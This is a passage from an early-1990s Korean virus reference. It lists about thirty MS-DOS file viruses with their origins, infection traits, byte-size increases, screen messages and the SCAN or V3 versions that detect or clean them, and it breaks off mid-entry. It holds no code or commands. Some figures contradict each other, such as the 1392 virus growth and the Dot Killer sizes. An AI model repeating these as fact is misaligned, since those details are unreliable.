 플로피디스크 및 하드디스크의 데이타 보호 기능.
 IBM AT급이상의 기종에서 윈도우즈 3.0과 하드디스크가 있어야 사용 가능.

NOVIRUS.EXE
미국의 MATT HILL에 의해 제작된 프로그램
AUTOEXEC.BAT 파일내에 위치시켜 사용 ---> NOVIRUS.DAT 파일 생성(속성;hidden,
Read-only, System)

소프트세이프(SoftSafe)
바이러스 방역기능 뿐만 아니라 자료보안 기능까지 제공하는 프로그램
허락되지 않는 자료 파일의 보기, 복사, 수정 등을 못하게 만든다.  암호를
입력해야만 하드디스크에 접근이 가능하게 만드는 기능도 있다.



5-3 기존 발견된 바이러스 고찰


발견된 것중 비교적  비중있는 바이러스에 대한 고찰이다.


5-3-1  파일 바이러스

    1) 아프(Arf) 바이러스  [Arf]
      o 동명: 사후강직(Rigor Mortis), 뇌신(뇌신;Thor) 바이러스
      (1) 1991년 3월에 미국에서 발견된 바이러스이며, 기생형 및 비상주형 바이러스
          이다.
      (2) COMMAND.COM 파일의 감염유무를 확인하고 감염되지 않았을 경우에는
          COMMAND.COM 파일을 감염시키고 다음과 같은 메세지를 화면에 나타낸다.
            "사후강직(Rigor Mortis)!!!  나는 Hi.pas이다. "
      (3) COMMAND.COM 파일을 조사한 뒤에 바이러스는 감염시킬 또다른 COM 파일을
          찾기 위해 현재의 디렉토리를 조사하며 감염되지 않은 COM 파일을 발견하면
          다음과 같은 메세지를 나타내면서 감염시킨다.
            " Arf krad krad krad krad krad kr "
      (4) SCAN V75 이상으로 검색이 가능하며, 치료는 현재로서는 불가능하다.  따라
          서 SCAN /D 또는 감염된 파일을 삭제하는 경우밖에 없다.
      (5) 바이러스에 감연된 파일들은 1000 byte의 파일 크기로 증가되고, 감염된 프
          로그램의 마지막 부분에 위치한다.

    2) 오스트레일리안(Austreilian) 403 바이러스
      (1) 1991년 2월에 오스트레일리아에서 발견된 바이러스이며, 기생형 및 상주형
          바이러스이다.
      (2) 감염되면 403 byte 증가하며, 디렉토리내의 날짜와 시간은 감염된 날짜와
          시간으로 변경된다.
      (3) 감염된 프로그램은 정상적으로 실행이 되지 않는다.
      (4) 그 자신을 720 byte의 로우 시스템 메모리 상주형으로 메모리에 인스톨하고
          인터럽트 21을 잡는다.  바이러스가 메모리에 상주하게되면 프로그램이 실
          행될 때마다 현재의 디렉토리에 있는 두개의 프로그램을 바이러스의 복제본
          과 바꾸어 놓는다.

    3) 자료중지(DataLock) 바이러스  [Data]
      o 동명: 자료중지 1.00(DataLock 1.00), V920 바이러스
      (1) 1990년 11월에 미국에서 발견된 바이러스이며, 국내에서는 1991년 9월경에
          처음 발견되었다.
      (2) 상주형 및 기생형 바이러스이며, 프로그램을 실행하기 위해서 로드하는 시
          간이 평소보다 오래 걸린다.
      (3) 바이러스에 감염되면 920 byte 늘어나며, 디스크 디렉토리에 나타나는 날짜
          와 시간은 감염된 날짜와 시간으로 변경된다.  그러나 COM 파일은 감염되더
          라도 작성일이 바뀌지 않는다.
      (4) MS-DOS의 MEM.EXE를 실행시키면 기억장소(total memory)의 크기는 변하지
          않지만 프로그램이 사용할 수 있는 영역(largest executable program size)
          은 2 KB가 줄어든다.
      (5) 파일의 마지막 부분에 감염되며 바이러스의 이름을 알려주는 문자열은 파일
          의 끝부분에 존재한다.
           " DataLock version 1.00 "
      (6) 1991년 10월 이후에는 데이타베이스(dBASE) 프로그램에서 자료파일인 DBF
          파일을 사용하고자 한다면 "out of file handles" 에러가 발생하여 사용하
          지 못하게 한다.
      (7) SCAN V71 이상 또는 Pro-SCAN V2.01 이상으로 검색이 가능하며, 치료는
          CLEAN-UP V71 이상으로 가능하다.
      (8) 감염된 COMMAND.COM이 우선적으로 감염되며, 23000 byte 이상의 COM 파일과
          모든 EXE 파일 및 오버레이(overlay) 파일에 감염된다.

    4) 수수께기(Enigma) 바이러스  [Enigma]
      o 동명: 크랙커 잭(Cracker Jack) 바이러스
      (1) 1991년 2월에 이탈리아에서 발견된 바이러스이며, 기생형 및 상주형 바이러
          스이다.
      (2) 감염된 프로그램을 실행하면 현재의 디렉토리에 있는 EXE 파일은 감염되어
          그 크기는 1755 byte 증가된다.
      (3) 감염된 프로그램들은 다음의 메세지를 화면에 나타낸다.
           " (C) 1991 by Cracker Jack * Italy **.exe "
           " newenigmavir "
      (4) SCAN V76 이상으로 검색은 가능하며, 치료는 현재로서는 불가능하다.  그래
          서 SCAN /D 또는 감염된 파일을 삭제하는 수 밖에 없다.

    5) 혼혈(Hybrid) 바이러스  [Hybrid]
      (1) 1991년 1월에 폴랜드에서 발견된 바이러스이며, 기생형 및 상주형 바이러스
          이다.
      (2) SCAN V74 이상으로 검색은 가능하며, 치료는 현재로서는 불가능하다.  그래
          서 SCAN /D 또는 감염된 파일을 삭제하는 수 밖에 없다.
      (3) 감염된 COM 파일은 1306 byte로 파일 크기가 증가되며, 감염된 프로그램의
          끝부분에 위치하여 파일의 시간을 변경하며 파일의 두번째 필드를 62로 변
          화시킨다.  하지만 디렉토리만을 보면 파일의 날짜와 시간은 변경되지 않은
          것처럼 보인다.
      (4) 다음의 메세지는 암호화되어 있기 때문에 감염된 파일에서는 볼 수가 없다.
          " (C) Hybrid Soft Specialne podziekowania Deca Za artkuly w Komputerze
            11/88 "
          보고된 샘플에서는 암호화되어 있지 않은 유일한 메세지는 다음과 같은 복
          사된 파일에서도 볼 수 있다.
          " Copyright IBM Corp 1981, 1987 Licensed Material - Program property
             of IBM "

    6) 플라스틱(Plastique) 바이러스  [Plq]
      o 동명: 플라스틱 폭탄(Plastic Bomb), 플라스틱 3012(Plastic 3012), 플라스틱
              1(Plastic 1) 바이러스
      o 변형:
        ① HM2 바이러스 : 1990년 5월에 대만에서 처음 발견되었으며, 바이러스의 초
           기 버전으로 복제는 하지 않는다.  하지만 감염된 파일이 실행되면 시스템
           의 실행속도가 느려지므로 재부팅하여 사용해야 한다.
        ② 플라스틱 코볼(Plastique COBOL) 바이러스 : COM 파일은 3004 byte, EXE
           파일은 3004-3019 byte 정도 증가하며, COMMAN.COM 파일은 감염되지 않는
           다.  또한 이 바이러스의 활동 시기는 1월 1일부터 9월 21일 사이로 점차
           적으로 시스템의 속도가 느려지게 된다.  20분정도 지난 후에는 시스템의
           원래 속도보다 50%정도 떨어진 속도로 실행이 된다.  30분 후 바이러스는
           시스템의 CMOS 구조를 손상시키고 시스템 키보드를 잠가버린다.  그리고
           이 바이러스는 9월 22일부터 12월 31일 사이에는 활동하지 않아 시스템이
           느려지거나 CMOS가 망가지는 일은 발생하지 않는다.
        ③ 플라스틱 4.51(Plastique 4.51) 바이러스 : 1990년 6월에 대만에서 처음
           발견되었으며, 암호화 방법이 조금 변형되었으며 그 외의 현상들은 플라스
           틱 바이러스와 동일하다.
      (1) 1990년 1월에 대만에서 발견된 바이러스이다.
      (2) COM 파일은 3012 byte, EXE 파일은 3012-3020 byte 정도 증가한다.
      (3) 감염여부는 매년 9월 20일 이후에 점차적으로 시스템의 속도 감소나 스피커
          에서 폭탄 터지는 소리의 방출 등으로 알수 있다.
      (4) SCAN V66 이상과 Pro-SCAN V2.01 이상 등으로 검색이 가능하며, 치료는 CL-
          EAN-UP V72 이상과 Pro-SCAN V2.01 이상으로 가능하다.

    7) 파괴자(Striker) #1 바이러스  [STR]
      (1) 1991년 3월 미국에서 발견된 바이러스이며, 기생형 및 비상주형 바이러스이
          다.
      (2) 1개의 COM 프로그램을 감염시키고, 감염된 COM 프로그램들은 첫부분 13
          byte가 변형되며, 바이러스는 프로그램의 끝부분에 기생한다.
      (3) 감염된 파일은 길이가 461 byte 증가되지만, 파일의 날짜와 시간은 변경되
          지 않는다.
      (4) 프로그램의 4번째에서 13번째 byte 사이에 "Striker #1"이라는 문자열이 나
          타남으로써 바이러스에 감염된 것을 알 수 있다.
      (5) SCAN V76 이상으로 검색이 가능하며, 치료는 CLEAN-UP V76 이상으로 가능하
          다.

    8) 대만(Taiwan) 4 바이러스  [T4]
      o 동명: 2576 바이러스
      (1) 1990년 10월에 대만에서 발견된 파일 바이러스이며, 기생형 및 상주형 바이
          러스이다.
      (2) 바이러스에 감염된 시스템은 속도가 현저히 떨어지며, 감염된 파일의 길이
          는 COM 파일의 경우 2576 byte, EXE 파일의 경우는 2576-2590 byte 정도 증
          가한다.
      (3) COM 파일의 첫부분과 EXE 파일의 끝부분에 존재하며, 감염된 프로그램에서
          는 다음과 같은 메세지를 볼 수 있다.
           " To Whom see this : Shit! As you can see this document, you may
            know what this pr    ram is. But I must tell you:
             DO NOT TRY to WRITE ANY ANTI-PROGRAM to THIS VIRUS.
             This a test-program. the real gangerous code will implement on
            Vovember. I use MASM to generate variuos virus easily iand you must
            use DEBUG against my virus hardly, this is foolish. Save your time
            until next month.
             OK? Your Sincerely. ABT Group., Oct 13th, 1989 at FCU. "
      (4) 모든 감염된 프로그램에서 발견될 수 있는 또다른 메세지는 다음과 같다.
           " ACAD.EXECOMMAND.COM "
      (5) SCAN V67 이상과 Pro-SCAN V2.01 이상, NAV, IBM SCAN 2.00로 검색이 가능
          하며, 치료는 CLEAN-UP V67 이상과 Pro-SCAN V2.01 이상으로 가능하다.

    9) 고래(Whale) 바이러스  [Whale]
      o 동명: 모어(모어;Mother Fish), 도둑(thief), Z THE Whale 바이러스
      (1) 1990년 8월에 독일과 헝가리에서 발견된 바이러스이며, 기생형 및 상주형
          바이러스이다.
      (2) 증상으로는 시스템의 실행 속도가 느려지며, 화면이 자주 깜박인다.  또한
          화면 지체현상과 파일 할당 에러 및 모의 시스템 재부팅(simulated system
          reboot)된다.
      (3) 이 바이러스는 돌연변이를 만들어서 파일을 감염시키기 때문에 증가되어지
          는 파일의 길이는 달라질 수 있다.  그렇지만 보통 감염되면 프로그램 길이
          가 9216 byte로 증가한다.
      (4) SCAN V67 이상과 Pro-SCAN V2.01 이상, NAV, IBM SCAN 2.00로 검색이 가능
          하며, 치료는 CLEAN-UP V67 이상과 Pro-SCAN V2.01 이상으로 가능하다.
      (5) 감염된 시스템상의 메모리에는 다음의 메세지가 나타난다.
           " Z THE WHALE "

    10) 아주사(AZUSA) 바이러스  [Azusa]
      o 동명: 홍콩(Hong Kong) 바이러스
      (1) 상주형 바이러스이다.
      (2) 전체 시스템 메모리와 남는 메모리를 감소시킨다.
      (3) 이 바이러스는 시스템이 몇번 부팅이 되어졌는지 추적하고 32번 이상 부팅
          되면 시스템의 COM1과 LPT1 포트를 쓸모없게 만들고 다시 계수기를 맞춘다.
          하지만 다시 부팅하면 다시 사용할 수 있다.
      (4) 검색은 SCAN V75 이상으로 가능하며, 치료는 CLEAN V75 이상으로 가능하다.

    11) 디어사이드(DEICIDE) 바이러스
      o 동명: Glenn 바이러스
      (1) 겹쳐쓰기형 및 비상주형 바이러스이다.
      (2) COM 파일에 겹쳐쓰며, FAT를 손상시킨다.  따라서 시스템이 느려진다.
      (3) 파일의 길이를 666 byte 이하일 때에는 666 byte로 기록된다.
      (4) 파일을 감염시킨 다음에는 "File corruption error"(파일이 손상된 에러)
          라는 메세지를 보여준다.
      (5) 바이러스가 현재의 디렉토리에서 감염되지 않은 COM 파일을 찾지 못하면 다
          음과 같은 메세지를 보내고 하드디스크의 처음 80 섹터를 겹쳐쓴다.
          "  DEICIDE !
            Glenn (666) : BYE BYE HARDDISK !
            Next time be careful with illegal stuff."
      (6) SCAN V67 이상과 Pro-SCAN V2.01 이상, NAV, IBM SCAN 2.00로 검색이 가능
          하며, 치료는 CLEAN-UP V67 이상과 Pro-SCAN V2.01 이상으로 가능하다.

    12) 유령(Phantom) 바이러스  [Phant]
      o 동명: 환상, 환영(환영), 환각 바이러스
      (1) 기생형 및 상주형 바이러스이다.
      (2) 이 바이러스는 메모리에 상주한 다음 원래의 파일의 길이를 2KB보다 크면,
          실행되거나 열린 COM 프로그램들을 감염시킨다.  감염된 프로그램들은 크기
          가 2274 byte 증가하며 프로그램의 끝부분에 바이러스가 위치한다.
      (3)  " Hi ROOKIE !
             I'm a THESEASE! I live in YOUR computer - sorry...
             Thank to Brains in the Computer Science! "
          위와 같은 메세지는 다음에 있는 메세지와 함께 바이러스 코드에 있으며,
          암호화되어 있으므로 프로그램에서는 볼 수 없다.
           " The PHANTOM Was HERE - SORRY "
           " (C) PHANTOM - This virus was designed in the HUNGAR-IAN
             VIRUS DEVELOPING LABO-RATORY. (H.V.D.L.) v 1.0 "
      (4) SCAN V75 이상으로 검색이 가능하나, 현재로써는 치료가 불가하며 감염된
          파일을 삭제하는 것밖에 없다.

    13) 문둥이(LEPROSY) 바이러스  [Lep]
      o 동명: 문둥이 1.00(Leprosy 1.00), 뉴스속보(News Flash), 나병 바이러스
      o 변형 :
        ① 문둥이-B(Leprosy-B) 바이러스 [LepB]
      (1) 1990년 8월 미국 캘리포니아주의 여러 BBS에 올려진 486COMP.ZIP이라는 프
          로그램에서 처음 발견되었다.  하지만 "June of 1990"이라는 문자열이 존재
          하는 것으로 보아 1990년 6월에 제작된 것이 아닌가 추측된다.  국내에서는
          91년 7월 말경 KETEL의 고전게임 동호회 자료실에서 래리 5(Larry Ⅴ) 선전
          프로그램에 포함된 INSTALL.COM에서 처음으로 문둥이 바이러스의 존재를 발
          견했다.
      (2) 비상주형, 겹쳐쓰기형 바이러스이다.
      (3) 프로그램을 실행시키기 위해서 로드하면 평소보다 시간이 오래 걸린다.
      (4) 666 Byte 이하의 프로그램의 길이를 가진 프로그램은 길이가 666 Byte로 바
          뀐다.  666 Byte 이상의 파일에 감염될 때는 파일 크기에 아무런 변화를 초
          래하지 않는다.
      (5) 확장자가 EXE이나 COM인 경우에만 감염시키기 때문에 다른 파일 바이러스처
          럼 오브레이 파일(Overlay file)을 감염시키지는 못한다.  또한 파일의 속
          성(attribute)이 읽기 전용(read only)인 파일은 감염시키지 못한다.
      (6) 감염된 프로그램을 실행시키면 다음의 두가지 내용중 한가지가 출력되고 실
          행이 중단된다.
          " Program too big to fit in memory "(프로그램이 너무 커서 기억장소에
           읽어 들어들일 수 없습니다)
          또는
          "NEWS FLASH!  Your system has been infected with the incurable decay
          of LEPROSY 1.00, a virus invented by PCM2 in june of 1990. Good luck!"
          (뉴스속보!  당신의 시스템은 1990년 6월에 PCM2가 만든 문둥이 1.00이라는
          치료 불가능한 바이러스에 감염되었습니다. 행운을 빕니다!)  또한 이 메세
          지는 EXE과 COM 파일이 일곱번 감염될 때마다 출력된다.
      (7) 백신 V3V52 이상으로 검진이 가능하며, 감염된 파일은 현재로서는 거의 치
          료가 불가능하다.  따라서 이 바이러스           감염된 프로그램이 있다면 깨끗이
          지워버리는 방법 이외에는 별 도리가 없다.  SCAN에서는 /D옵션을 사용하면
          진단을 하면서 감염된 파일을 지울 수 있으며, 백신 Ⅲ에서는 진단과 동시
          에 사용자에게 감염된 파일을 지울 것인지를 묻는다.
      (8) COMMAND.COM 파일이 바이러스에 의해 파괴되었기 때문에 "Bad or missing
          Command Interpreter"라는 메세지를 잇달아 출력한다.

    14) 양키두들(Yankee Doodle) 바이러스  [Doodle]
      o 동명: 5시(Five O'clock), TP44VIR 바이러스
      (1) 1989년 9월 30일에 오스트리아(Austria)의 비엔나(Vienna)에서 처음 발견되
          었으며, '아웃런'이라는 게임 프로그램에 감염되어 미국으로 건너갔다.  그
          이후 많은 변형들이 발견되었다.  국내에서는 1991년 7월에 그 존재가 확인
          되었다.
      (2) 상주형, 기생형 바이러스이다.
      (3) 감염된 파일은 2899 byte 늘어난다.  또한 변형들이 많으므로 늘어나는 길
          이는 일정치 않다.
      (4) 감염되면 오후 5시에 스피커를 통해 'Yankee Doodle'이라는 곡을 연주한다.
      (5) 만약 시스템이 핑퐁 바이러스에 감염되어 있다면, 이 핑퐁 바이러스를 변형
          시켜서 100번 정도 감염 후 스스로 파괴되게 만든다.
      (6) 검색은 V3V52 또는 SCAN V42 이상으로 가능하며, 치료는 V3V52나 CLEAN-UP
          V64 이상으로 가능하다.

    15) 405 바이러스  [405]
      (1) 1987년 오스트리아(Austria)와 독일(Germany)에서 발견된 파일 바이러스이
          다.
      (2) 비상주형, 겹쳐쓰기형 바이러스이다.
      (3) 현재 디렉토리에 위치하는 COM 파일들만 감염시키며, 405 byte 보다 작은
          COM 파일은 감염후 405 byte가 된다.  하지만 COMMAND.COM 파일은 감염되어
          도 변함이 없다.
      (4) 이 바이러스는 이미 감염되었는 지 검사하지 않기 때문에 계속 감염할 수
          있다.

    16) 512 바이러스  [512]
      o 동명: 짐승의 숫자(The Number of the Beast), 666, 512-A, 은폐형(Stealth)
              바이러스
      o 변형:
         ① 512-B 바이러스
         ② 512-C 바이러스
         ③ 512-D 바이러스
         ④ 512-E 바이러스
         ⑤ 512-F 바이러스
      (1) 1989년 11월에 불가리아에서 처음 발견되었으며, 국내에서는 1991년 8월에
          512-E와 512-F 바이러스의 존재가 확인되었다.
      (2) 상주형 및 기생형 바이러스이다.
      (3) 요한 묵시록에서 악마를 나타내는 데 사용하는 [666]이라는 숫자가 바이러
          스의 끝부분에 존재하기 때문에 666 바이러스라고도 한다.
      (4) 512 - 65023 byte 이상의 길이를 가지는 COM 파일에만 감염이 되는데, 길이
          를 512 byte 증가시킨다.  그러나 이 바이러스가 기억장소에 상주하고 있을
          때는 파일의 길이가 증가되지 않은 것처럼 보이게 만든다.
      (5) 검색 및 치료는 V3V74 이상의 버전으로 가능하며, CLEAN-UP으로는 치료할
          수 었다.

    17) 1210 바이러스  [1210]
      o 동명: Prudents 바이러스
      (1) 1989년 12월에 스페인의 바르셀로나에서 처음으로 발견되었다.
      (2) 기생형 및 상주형 바이러스이다.
      (3) 실행 파일의 길이를 1210 byte 증가시킨다.
      (4) 5월 1일에서 4일 사이에 파일이 정상적으로 저장되지 않게 만든다.
      (5) SCAN V61 이상으로 검진이 가능하다.  복구는 되지 않으며 현재로서는 삭제
          하는 방법밖에 없다.

    18) 1260 바이러스  [1260]
      (1) 1990년 1월에 미국의 미네소타주에서 'COMAIDS.ZIP'내에서 처음 발견된 바
          이러스이며, 기생형 및 비상주형 바이러스이다.
      (2) COM 파일의 길이를 1260 byte 증가시킨다.  하지만 COMMAND.COM 파일은 변
          함이 없다.
      (3) 근거리 통신망(LAN)에서도 쉽게 전파될 수 있다.
      (4) 8번을 주기로 시스템을 부팅시킨다.
      (5) SCAN V57 이상으로 검진 및 치료가 가능하다.

    19) 1392 바이러스  [1392]
      o 동명: Ameoba 바이러스
      (1) 1990년 3월에 인도네시아(Indonesia)에서 발견된 바이러스이며, 기생형 및
          상주형 바이러스이다.
      (2) 파일의 길이를 1932 byte 증가시킨다.
      (3) 파일의 날짜가 감염된 때로 바뀐다.
      (4) 감염되면 다음과 같은 말이 나타난다.
          " SMA KHETAPUNK - Nouvel Band A.M.O.E.B.A. "
      (5) SCAN V61 이상으로 검진이 가능하다.  복구는 되지 않으며 현재로서는 삭제
          하는 방법밖에 없다.

    20) 에이즈(AIDS)Ⅱ 바이러스  [AIDS]
      o 동명: 친구(Companion) 바이러스
      (1) 1990년 4월에 처음 발견되었고, 국내에서는 1991년 8월에 그 존재가 확인
          되었다.
      (2) 비상주형, 산란형 바이러스이다.
      (3) 검색은 V3V63 이상이나 SCAN V80 이상으로 가능하나 현재로서는 치료가 불
          가능하며 감염된 파일을 삭제하는 방법밖에 없다.
      (4) 같은 이름의 COM 파일과 EXE 파일이 동시에 같은 디렉토리내에 존재할 때
          파일 이름을 입력시키면 COM 파일이 우선적으로 실행되는 성질을 이용한 바
          이러스이다.  즉 산란형 바이러스는 EXE 파일에 직접 감염되지 않고 같은
          이름의 COM 파일을 만들어서 여기에 바이러스 프로그램을 넣어두는 방법을
          사용한다.  그 후에 사용자가 EXE 파일을 실행시키려 하면 COM 파일 형태의
          바이러스가 먼저 실행되는 다음에 원래의 EXE 파일이 실행되는 것이다.
      (5) 감염된 파일을 실행시키면 음악을 연주하고 다음과 같은 말을 출력한다.
          " Your computer is infected with ...
                * Aids Virus II *
            - Signed WOP & PGT of DutchCrack - "
      (6) 8064 byte의 크기를 가지며 감염될 당시의 날짜를 가진다.  또한 프로그램
          의 실행이 끝나면 [ Getting used to me? Next time , use a Condom .... ]
          이라는 말이 음악과 함께 출력된다.

    21) 베베(BeBe) 바이러스  [Be ]
      (1) 1990년 12월에 소련에서 처음으로 발견되었으며, 국내에서는 1991년 8월에
          그 존재가 확인되었다.
      (2) 비상주형, 기생형 바이러스이다.
      (3) 감염된 파일의 크기는 1004-1019 byte 증가하게 되며, 파일의 작성일이 감
          염된 때로 바뀌어 버린다.  그러나 읽기전용 파일은 감염시킬 수 없다.
      (4) 이 바이러스는 내용의 일부분은 기억장소에 상주하는 특징을 가지고 있으
          며, 다른 파일을 감염시키는 기능은 갖고 있지 않다.
      (5) VIRX에서는 BeBe2 바이러스라고 진단하며, SCAN과 CPAV에서는 기억장소에
          존재하는 베베 바이러스를 인식하지 못한다.
      (6) 컬러 모니터를 가진 컴퓨터에서는 10분 간격으로 [삑]하는 소리와 함께
          [ VIRUS skagi 'bebe' ]라는 말을 출력시키고, 사용자가 [bebe]를 입력할
          때까지 기다린다.  사용자가 [bebe]라고 정확하게 입력하면 [삑]하는 소리
          와 함께 [skagi bebe]라는 말이 [Fig Tebe]로 바뀌며, ENTER키를 누르면 원
          래의 화면으로 돌아간다.
      (7) 진단은 V3V74 이상이나 SCAN V84 이상으로 가능하며, 치료는 V3V74 이상으
          로 가능하다.

    22) 파괴자(Destructor) 바이러스
      o 동명: 파괴자 V4.00(Destructor V4.00) 바이러스
      (1) 1990년 12월에 불가리아에서 처음 발견되었으며, 국내에서는 1991년 8월에
          그 존재가 확인되었다.
      (2) 상주형, 기생형 바이러스이다.
      (3) 50 byte 이상의 길이를 가지는 COM 파일과 EXE 파일을 감염시킬 수 있다.
          COM 파일에 감염될 때는 길이가 1150 byte 증가하며, EXE 파일에 감염될 때
          는 1150-1165 byte 증가하게 된다.
      (4) 읽기전용 파일도 감염시킬 수 있으며, 감염된 파일의 작성일과 속성은 바뀌
          지 않는다.
      (5) 파일 바이러스 임에도 불구하고 기억장소(total system memory)의 크기를
          2 KB 줄인다.
      (6) 진단은 V3V74 이상이나 SCAN V84 이상으로 가능하며, 치료는 V3V74 이상으
          로 가능하다.

    23) 새해 인사(Happy New Year) 바이러스
      o 동명: V1600, 니나에게(Dear Nina) 바이러스
      (1) 1990년 12월에 불가리아에서 처음 발견되었으며, 국내에서는 1991년 8월에
         그 존재가 확인되었다.
      (2) 상주형, 기생형 바이러스이다.
      (3) COM 파일과 EXE 파일을 감염시킬 수 있으며, 감염된 파일은 1600 byte 증가
          한다.  단, COMMAND.COM의 길이는 증가하지 않는다.
      (4) 진단은 V3V74 이상이나 SCAN V84 이상으로 가능하며, 치료는 V3V74 이상으
          로 가능하다.

    24) 점제거(Dot Killer, Point Killer) 바이러스
      o 동명: 944, 점먹기(Dot Eater) 바이러스
      (1) 1990년 10월 폴란드에서 처음 발견되었으며, 국내에서는 1991년 8월에 그
          존재가 확인된 상주형 및 기생형 바이러스이다.
      (2) 어떤 프로그램에서 다른 프로그램을 호출해서 사용하는 경우에 사용자가
          " . "키를 누르면 시끄러운 소리와 함께 사람의 웃는 얼굴이 화면에 나타나
          서 왼쪽으로 이동하여 점을 없애버린 후에 다시 처음 나타난 위치로 가서
          없어져 버리는 것이다.  이러한 증상은 사용자가 " ^ "키를 누르면 없어진
          다.
      (3) 현재에 감염되지 않은 1개의 COM 파일을 찾아서 감염시킨다.  단, 읽기 전
          용 파일(read only file)은 감염시키지 못한다.  감염된 COM 파일은 길이가
          944 byte 증가한다.
      (4) COM 파일만 감염시킬 수 있으며, 감염된 파일은 길이가 1242 bye 증가한다.
          단, 주 디렉토리(root directory)에 존재하는 COMMAND.COM에 감염될 때는
          프로그램 내부의 사용하지 않는 영역을 사용하기 때문에 길이가 증가하지
          않는 특징을 가지고 있다.
      (5) 검진은 V3V74 이상이나 SCAN V84 이상으로 가능하며, 치료는 V3V74 이상의
          버전을 사용해야 한다.

    25) 정의(Justice) 바이러스
      (1) 1991년 8월에 국내에서 그 존재가 확인되었다.
      (2) 특이하게도 도스 버전 3.1과 도스 버전 3.3을 사용할 때만 다른 파일을 감
          염시킨다.
      (3) 상주형, 기생형 바이러스이다.
      (4) 이 바이러스가 상주한 다음에는 실행되는 프로그램 뿐만 아니라 오픈
          (open), 이름 바꾸기(rename), 파일 속성(attribute) 변경 등 일련의 명령
          으로도 감염이 된다.
      (5) 바이러스 내부에 "AND JUSTICE FOR ALL"이라는 말이 존재한다.
      (6) COM 파일에만 감염되며, 감염된 파일의 길이를 1242 byte 증가시킨다.  단,
          COMMAND.COM의 길이는 증가하지 않는다.
      (7) 가끔 자료가 제대로 저장되지 않고, 프로그램이나 자료가 파괴되는 일이 발
          생한다.
      (8) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    26) 키누르기(Keypress) 바이러스
      o 동명: 키 조작 바이러스
      (1) 1990년 10월 미국에서 처음 발견되었으며, 국내에서는 1991년 10월에 그
          존재가 확인된 상주형 및 기생형 바이러스이다.
      (2) 이 바이러스가 기억장소에 상주하고 있을 때 10분 간격으로 사용자가 한번
          누른 키가 5번 반복해서 눌러진 것 같은 현상이 발생한다.
      (3) 1217 byte 이상의 길이를 가지는 COM 파일과 모든 EXE 파일을 감염시킬 수
          있으며, 읽기 전용 파일(read only file)은 감염되지 않는다.  감염된 COM
          파일은 길이가 1232-1248 byte 증가하며, EXE 파일은 1472-1487 byte 증가
          하게 된다.  감염된 COM 파일과 EXE 파일은 작성일이 감염된 때로 바뀐다.
      (4) 특이하게도 도스 버전에 따라서 다른 감염방법을 사용한다.  즉, 도스 버전
          2.xx에서 파일이 오픈될 때 감염되고, 도스 버전이 3.xx 이상에서는 실행될
          때 감염된다.  따라서 도스 버전 2.xx일 때는 파일을 복사할 때 감염되고
          실행시킬 때는 감염되지 않는다.
      (5) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    27) 로진스키(Lozinsky) 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 상주형 및 기생형 바이러스이다.
      (2) 4511 byte이하의 COM 파일만 감염시킬 수 있으며, 감염된 파일의 길이를 10
          23 byte 증가시키고, 파일의 작성일을 감염된 때로 바뀐다.  감염되면 기억
          장소의 크기를 2 KB 줄어든다.
      (3) AIDSTEST.EXE라는 프로그램을 실행시키려고 하면 대신에 이 프로그램을 지
          워버리고 "Welcome to demo version  (C) Zherkov"라는 말을 출력시킨다.
      (4) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    28) MG 바이러스
      o 변형:
         ① MG-2 바이러스
         ② MG-3 바이러스 : 1990년 12월에 발견
      (1) 1990년 9월 불가리아의 수학훈련원(Matematicheska Gimnazia)에서 처음 발
          견되었으며, 국내에서는 1991년 8월에 그 존재가 확인된 상주형 및 기생형
          바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 감염된 COM 파일은 길이가 500 byte 증가
          된다.
      (3) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    29) 니나(Nina) 바이러스
      (1) 1990년 12월 불가리아에서 처음 발견되었으며, 국내에서는 1991년 8월에 그
          존재가 확인된 상주형 및 기생형 바이러스이다.
      (2) 500 byte 이상의 길이를 가지는 COM 파일만 감염시킬 수 있으며, 읽기 전용
          파일(read only file)은 감염되지 않는다.  감염된 COM 파일은 길이가 256
          byte 증가하며, 파일의 작성일이 감염된 때로 바뀌어 버린다.  또한 COM 파
          일에 감염되는 것 이외에는 별다른 증상을 보이지 않는다.
      (3) 이 바이러스 내부에 "Nona"라는 문자열이 존재한다.
      (4) 진단하기 위해서는 V3V74 이상이나 SCAN V84 이상을 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.


    30) 돌 '90(Stone '90) 바이러스


      o 동명: 폴란드-961(Polish-961) 바이러스
      (1) 1990년 12월 폴란드에서 처음 발견되었으며, 국내에서는 1991년 8월에 그
          존재가 확인된 비상주형 및 기생형 바이러스이다.
      (2) 부트 바이러스인 돌 바이러스(Stoned Virus)와는 전혀 무관하다.
      (3) 10 byte 이상의 길이를 가지는 COM 파일에만 감염시킬 수 있으며, 감염된
          파일은 961 bye 증가한다.
      (4) 이 바이러스 내부에 "(C) Stone '90"이라는 말이 존재한다.
      (5) 감염된 프로그램을 실행시키면 현재의 디렉토리에 있는 COM 파일 1개를 감
          염시키며, 만약 현재의 디렉토리에 감염되지 않은 COM 파일이 없을 경우에
          는 PATH로 지정된 다른 디렉토리들을 검사해서 감염시킬 COM 파일을 찾아
          감염시킨다.
      (6) 이 바이러스는 자체 치료 능력을 가지고 있으며, 감염된 프로그램이 또 다
          시 다른 파일 바이러스에 감염되면 "삑"하는 소리와 함께 "sorry I'm
          INFECTED"라는 말과 감염된 파일명이 출력된다.  그 다음에 돌'90 바이러
          스는 감염된 다른 파일 바이러스를 치료하고 "삑"하는 소리와 함께 "I'm
          already NOT infected!"라는 말을 출력시킨다.

      (7) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    31) 소형-133(Tiny-133) 바이러스
      o 동명: 소형 바이러스
      (1) 1990년 12월 불가리아에서 처음 발견되었으며, 국내에서는 1991년 8월에 그
          존재가 확인된 상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일(read only file)은 감염되
          지 않는다.  감염된 COM 파일은 길이가 133 byte 증가하며, 파일의 작성일
